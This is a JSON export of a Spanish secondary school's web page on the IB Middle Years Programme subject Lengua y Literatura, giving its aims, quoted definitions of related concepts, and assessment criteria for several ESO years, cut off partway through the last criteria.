{"id":36,"date":"2021-03-14T19:55:25","date_gmt":"2021-03-14T19:55:25","guid":{"rendered":"http:\/\/iesrosachacel.net\/pai_dev\/?page_id=36"},"modified":"2023-10-22T16:47:25","modified_gmt":"2023-10-22T16:47:25","slug":"lengua-y-literatura","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/lengua-y-literatura\/","title":{"rendered":"Lengua y Literatura"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/drive.google.com\/file\/d\/1LKMlx829oIcwpOdJ4qEk7VgLolEItNMJ\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Lengua y literatura<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Lengua y Literatura forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina <a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote has-text-align-left is-style-default is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La lengua es fundamental para aprender, pensar y comunicarse y ofrece un marco intelectual que sirve de base a la comprensi\u00f3n conceptual. Desempe\u00f1a una funci\u00f3n crucial a la hora de desarrollar el pensamiento cr\u00edtico, cultivar la mentalidad internacional, explorar y preservar el desarrollo personal y la identidad cultural, y participar de manera responsable en las comunidades locales, nacionales y globales. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lengua y Literatura del PAI ense\u00f1a a los alumnos habilidades ling\u00fc\u00edsticas, anal\u00edticas y comunicativas que ayudan a desarrollar una comprensi\u00f3n interdisciplinaria. Los alumnos desarrollan habilidades en seis \u00e1reas \u2014comprensi\u00f3n auditiva, expresi\u00f3n oral, comprensi\u00f3n de lectura, expresi\u00f3n escrita y destrezas visuales y de presentaci\u00f3n\u2014, tanto de manera independiente como con otras personas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Los cursos de Lengua y Literatura del PAI incluyen un estudio equilibrado de g\u00e9neros y textos literarios, adem\u00e1s de un componente de literatura mundial. La interacci\u00f3n de los alumnos con los textos puede ayudarlos a entender factores morales, sociales, econ\u00f3micos, pol\u00edticos, culturales y ambientales. Por medio de sus estudios, los alumnos aprenden a formar sus propias opiniones, tomar decisiones y razonar de manera \u00e9tica.<\/p>\n<cite>Sinopsis oficial de la asignatura, <a href=\"https:\/\/ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-language-literature-2016-es.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-language-literature-2016-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_de_la_asignatura\"><\/span>Objetivos generales de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Utilizar la lengua como veh\u00edculo para el pensamiento, la creatividad, la reflexi\u00f3n, el aprendizaje, la expresi\u00f3n personal, el an\u00e1lisis y la interacci\u00f3n social<\/li>\n\n\n\n<li>Desarrollar las habilidades relacionadas con la comprensi\u00f3n auditiva, la expresi\u00f3n oral, la comprensi\u00f3n de lectura, la expresi\u00f3n escrita, y las destrezas visuales y de presentaci\u00f3n en una variedad de contextos<\/li>\n\n\n\n<li>Desarrollar enfoques cr\u00edticos, creativos y personales respecto del estudio y el an\u00e1lisis de textos literarios y no literarios<\/li>\n\n\n\n<li>Trabajar con textos procedentes de diversas culturas y representativos de distintos per\u00edodos hist\u00f3ricos<\/li>\n\n\n\n<li>Explorar y analizar aspectos de su propia cultura, la cultura anfitriona y otras culturas a trav\u00e9s de textos literarios y no literarios<\/li>\n\n\n\n<li>Utilizar una variedad de medios y modos para explorar la lengua<\/li>\n\n\n\n<li>Desarrollar el gusto por la lectura como actitud que mantendr\u00e1n durante toda la vida<\/li>\n\n\n\n<li>Aplicar habilidades y conceptos ling\u00fc\u00edsticos y literarios en una variedad de contextos aut\u00e9nticos<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de la asignatura.<\/p>\n<cite>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015, p\u00e1g. 21<\/cite><\/blockquote>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-2de9b112\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div><\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-e6f81042\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Apelaci\u00f3n al destinatario<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Concepto gen\u00e9rico que hace referencia a la persona a quien va dirigido un texto o representaci\u00f3n, quienquiera que sea (el lector, el oyente, el espectador, etc.), as\u00ed como las caracter\u00edsticas, el efecto o las respuestas deseadas que se generen. Dicho efecto puede incluir perspectivas relacionadas con el humor, la sensibilidad, la postura cr\u00edtica, la apreciaci\u00f3n, la empat\u00eda, la aversi\u00f3n y la compasi\u00f3n, la est\u00e9tica, el sentimiento, el ambiente y el g\u00e9nero.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Contexto<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Circunstancias sociales, hist\u00f3ricas, culturales y laborales en las que se produce un texto o una obra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Todos los textos pueden comprenderse en funci\u00f3n de su forma, contenido, prop\u00f3sito y destinatarios, y a trav\u00e9s de los contextos sociales, hist\u00f3ricos, culturales y laborales donde se producen y se valoran. Los textos literarios reciben la influencia del contexto social, el patrimonio cultural y el devenir hist\u00f3rico. Debe fomentarse que los alumnos consideren el modo en que los textos se basan en las tradiciones culturales y literarias heredadas y las transforman.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El contexto cultural hace referencia al modo de vida, en especial a las costumbres y creencias generales de un grupo de personas concreto en un momento espec\u00edfico.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Estilo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Forma caracter\u00edstica en que un escritor utiliza los recursos y rasgos ling\u00fc\u00edsticos y literarios con fines espec\u00edficos y para generar efectos concretos; por ejemplo, la elecci\u00f3n de las palabras, la estructura sint\u00e1ctica, el lenguaje figurado, la repetici\u00f3n, los rasgos caracter\u00edsticos, la alusi\u00f3n, las im\u00e1genes y el simbolismo.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Estructura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Forma en que se ha compuesto un poema, una obra de teatro u otro texto escrito, y las relaciones de las distintas partes de un texto entre s\u00ed, as\u00ed como con el texto como un todo complejo. Puede incluir la exploraci\u00f3n del patr\u00f3n m\u00e9trico, la organizaci\u00f3n de las estrofas y la forma en que se desarrollan las ideas. La estructura requiere una comprensi\u00f3n fundamental del argumento, la narraci\u00f3n, el discurso, la forma, la transformaci\u00f3n, la tesis o argumentaci\u00f3n, la sintaxis, la prolepsis o anticipaci\u00f3n (<em>foreshadowing<\/em>) y el <em>flash-back<\/em>.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Expresi\u00f3n personal<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Expresi\u00f3n de los sentimientos, pensamientos o ideas propios, en especial por escrito, o a trav\u00e9s del arte, la m\u00fasica, la danza, el dise\u00f1o y el cine.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Este concepto gen\u00e9rico incluye una exploraci\u00f3n de la comprensi\u00f3n fundamental de la identidad, la voz (personal), la inspiraci\u00f3n, la imaginaci\u00f3n, la sensibilidad, la postura cr\u00edtica y el proceso.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Formato<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Elecci\u00f3n y utilizaci\u00f3n intencionada de un tipo de letra, estilo de caracteres y palabras, y uso del espacio, por ejemplo, para organizar o presentar un texto de una forma determinada o para un prop\u00f3sito concreto.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 55<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>G\u00e9nero<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Tipo o categor\u00eda de literatura o cine marcado por ciertas caracter\u00edsticas o convenciones compartidas.<br>Las convenciones son las caracter\u00edsticas de un g\u00e9nero literario, que pueden variar de una lengua a otra. Cada g\u00e9nero tiene t\u00e9cnicas reconocibles, a las que denominamos convenciones literarias, que los escritores utilizan junto con otros rasgos literarios para lograr objetivos art\u00edsticos concretos.<br>El estudio de los g\u00e9neros incluye una comprensi\u00f3n fundamental de sus convenciones: forma, estilo, argumento, caracterizaci\u00f3n, tono, sentimiento, ambiente, registro, im\u00e1genes visuales y presentaci\u00f3n, narrativa\/narraci\u00f3n, prosa (prolepsis o anticipaci\u00f3n [<em>foreshadowing<\/em>], <em>flash-back<\/em>, mon\u00f3logo interior en novelas y relatos cortos), poes\u00eda (m\u00e9trica y rima), teatro, mitolog\u00eda y otras obras de ficci\u00f3n (por ejemplo, novelas gr\u00e1ficas, s\u00e1tiras, tradiciones orales, guiones de cine y televisi\u00f3n, pel\u00edculas y programas de televisi\u00f3n en episodios) y no ficci\u00f3n (por ejemplo, autobiograf\u00edas, biograf\u00edas, cr\u00f3nicas de viaje, ensayos, cartas, literatura de no ficci\u00f3n y discursos).<br>Algunos ejemplos de convenciones en el teatro son: di\u00e1logos, discursos, mon\u00f3logos, soliloquios, apartes, acotaciones esc\u00e9nicas, voz, movimiento, gestos, uso del espacio, vestuario, utiler\u00eda, iluminaci\u00f3n, escenograf\u00eda y sonido.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Intertextualidad<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Conexiones entre un texto y otros textos, las formas en que los textos se interrelacionan y los significados que surgen de dichas interrelaciones.<br>Tambi\u00e9n es un ejemplo de intertextualidad una referencia manifiesta a otro texto (como una cita directa de otro texto).<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Lugar y \u00e9poca<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El momento y el lugar en que sucede la acci\u00f3n de un libro, una pel\u00edcula, una obra de teatro, etc. El concepto de lugar y \u00e9poca puede incluir el sentimiento y el ambiente.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Personaje<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Representaci\u00f3n de personas en obras narrativas o teatrales. Puede incluir m\u00e9todos directos como la atribuci\u00f3n de cualidades en una descripci\u00f3n o un comentario, y m\u00e9todos indirectos (o \u201cdram\u00e1ticos\u201d) que inviten al lector a inferir cualidades a partir de las acciones, el habla o la apariencia de los personajes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Al explorar el concepto de personaje, los alumnos pueden explorar la transformaci\u00f3n, la influencia, el conflicto, el protagonista, el antagonista, la persona narrativa, el contrapunto y el personaje tipo.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Prop\u00f3sito<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">En t\u00e9rminos literarios, se refiere a la intenci\u00f3n del autor al crear el texto. Como parte de este concepto, los alumnos tambi\u00e9n pueden explorar el significado, la tesis o argumentaci\u00f3n, el g\u00e9nero (sexo), la edad, el sesgo, las t\u00e9cnicas de persuasi\u00f3n, la funci\u00f3n, la postura cr\u00edtica, el mensaje y la cultura.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Punto de vista<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Perspectiva particular que aporta un compositor, un personaje o un interlocutor dentro de un texto, ya sea con respecto al texto mismo o a cuestiones incluidas en este. Tambi\u00e9n implica la posici\u00f3n o atalaya desde la cual parece que se observan y se nos presentan los acontecimientos de una historia. Al explorar este concepto, los alumnos considerar\u00e1n, por ejemplo, el posicionamiento, la voz y el tono.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Tema<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Idea o ideas centrales que explora el autor mediante el texto.<\/p>\n<cite><em>Gu\u00eda de Lengua y Literatura. Para uso a partir de septiembre de 2014 o enero de 2015<\/em>, p\u00e1g. 56.<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">La asignatura Lengua y Literatura del Programa de los A\u00f1os Intermedios incluye cuatro objetivos y criterios de evaluaci\u00f3n propios del PAI, que se describen en este apartado.<\/p>\n\n\n\n<h2 class=\"has-normal-font-size wp-block-heading\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-a76145d8\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: An\u00e1lisis<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-7387b849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div class=\"wp-block-group is-layout-flow wp-block-group-is-layout-flow\">\n<ol class=\"wp-block-list\">\n<li>Identificar y comentar aspectos importantes de los textos<\/li>\n\n\n\n<li>Identificar y comentar las elecciones del autor<\/li>\n\n\n\n<li>Justificar opiniones e ideas utilizando ejemplos, explicaciones y terminolog\u00eda<\/li>\n\n\n\n<li>Identificar semejanzas y diferencias de caracter\u00edsticas en textos y entre ellos<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Organizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar estructuras organizativas adecuadas al contexto y la intenci\u00f3n<\/li>\n\n\n\n<li>Organizar opiniones e ideas de manera l\u00f3gica<\/li>\n\n\n\n<li>Usar herramientas de formato y de inclusi\u00f3n de referencias para crear un estilo de presentaci\u00f3n adecuado al contexto y la intenci\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Producci\u00f3n de textos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Producir textos que demuestren razonamiento e imaginaci\u00f3n, al mismo tiempo que se exploran nuevas perspectivas e ideas derivadas del trabajo personal en el proceso creativo<\/li>\n\n\n\n<li>Realizar elecciones de estilo en t\u00e9rminos de recursos ling\u00fc\u00edsticos, literarios y visuales, demostrando conocer el efecto generado en el destinatario<\/li>\n\n\n\n<li>Seleccionar detalles y ejemplos pertinentes para fundamentar ideas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Uso de la lengua<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar un vocabulario, estructuras sint\u00e1cticas y formas de expresi\u00f3n apropiados y variados<\/li>\n\n\n\n<li>Escribir y hablar empleando un registro y un estilo apropiados<\/li>\n\n\n\n<li>Usar una gram\u00e1tica, sintaxis y puntuaci\u00f3n correctas<\/li>\n\n\n\n<li>Usar una ortograf\u00eda y pronunciaci\u00f3n precisas<\/li>\n\n\n\n<li>Usar t\u00e9cnicas de comunicaci\u00f3n no verbal apropiadas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"has-normal-font-size wp-block-heading\"><span class=\"ez-toc-section\" id=\"2o_ESO_3o_PAI_%E2%80%93_3o_ESO_4o_PAI\"><\/span>2\u00ba ESO (3\u00ba PAI) &#8211; 3\u00ba ESO (4\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-737cd914\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: An\u00e1lisis<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-7387b849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div class=\"wp-block-group is-layout-flow wp-block-group-is-layout-flow\">\n<ol class=\"wp-block-list\">\n<li>Identificar y explicar el contenido, el contexto, el lenguaje, la estructura, la t\u00e9cnica y el estilo de los textos y la relaci\u00f3n entre ellos<\/li>\n\n\n\n<li>Identificar y explicar los efectos de las elecciones del autor en el destinatario<\/li>\n\n\n\n<li>Justificar opiniones e ideas utilizando ejemplos, explicaciones y terminolog\u00eda<\/li>\n\n\n\n<li>Interpretar semejanzas y diferencias de caracter\u00edsticas en g\u00e9neros y textos, y entre ellos<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Organizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar estructuras organizativas adecuadas al contexto y la intenci\u00f3n<\/li>\n\n\n\n<li>Organizar opiniones e ideas de manera coherente y l\u00f3gica<\/li>\n\n\n\n<li>Usar herramientas de formato y de inclusi\u00f3n de referencias para crear un estilo de presentaci\u00f3n adecuado al contexto y la intenci\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Producci\u00f3n de textos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Producir textos que demuestren razonamiento, imaginaci\u00f3n y sensibilidad, al mismo tiempo que se exploran y consideran nuevas perspectivas e ideas derivadas del trabajo personal en el proceso creativo<\/li>\n\n\n\n<li>Realizar elecciones de estilo en t\u00e9rminos de recursos ling\u00fc\u00edsticos, literarios y visuales, demostrando conocer el efecto generado en el destinatario<\/li>\n\n\n\n<li>Seleccionar detalles y ejemplos pertinentes para desarrollar ideas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Uso de la lengua<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar un vocabulario, estructuras sint\u00e1cticas y formas de expresi\u00f3n apropiados y variados<\/li>\n\n\n\n<li>Escribir y hablar empleando un registro y un estilo apropiados<\/li>\n\n\n\n<li>Usar una gram\u00e1tica, sintaxis y puntuaci\u00f3n correctas<\/li>\n\n\n\n<li>Usar una ortograf\u00eda (en las lenguas de escritura fon\u00e9tica) o caligraf\u00eda (en las lenguas de escritura ideogr\u00e1fica) y pronunciaci\u00f3n precisas<\/li>\n\n\n\n<li>Usar t\u00e9cnicas de comunicaci\u00f3n no verbal apropiadas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h2 class=\"has-normal-font-size wp-block-heading\"><span class=\"ez-toc-section\" id=\"4o_ESO_5o_PAI\"><\/span>4\u00ba ESO (5\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-b0fb3ec6\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: An\u00e1lisis<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-7387b849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div class=\"wp-block-group is-layout-flow wp-block-group-is-layout-flow\">\n<ol class=\"wp-block-list\">\n<li>Analizar el contenido, el contexto, el lenguaje, la estructura, la t\u00e9cnica y el estilo de los textos y la relaci\u00f3n entre ellos<\/li>\n\n\n\n<li>Analizar los efectos de las elecciones del autor en el destinatario<\/li>\n\n\n\n<li>Justificar opiniones e ideas utilizando ejemplos, explicaciones y terminolog\u00eda<\/li>\n\n\n\n<li>Evaluar semejanzas y diferencias, conectando caracter\u00edsticas en g\u00e9neros y textos, y entre ellos<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details 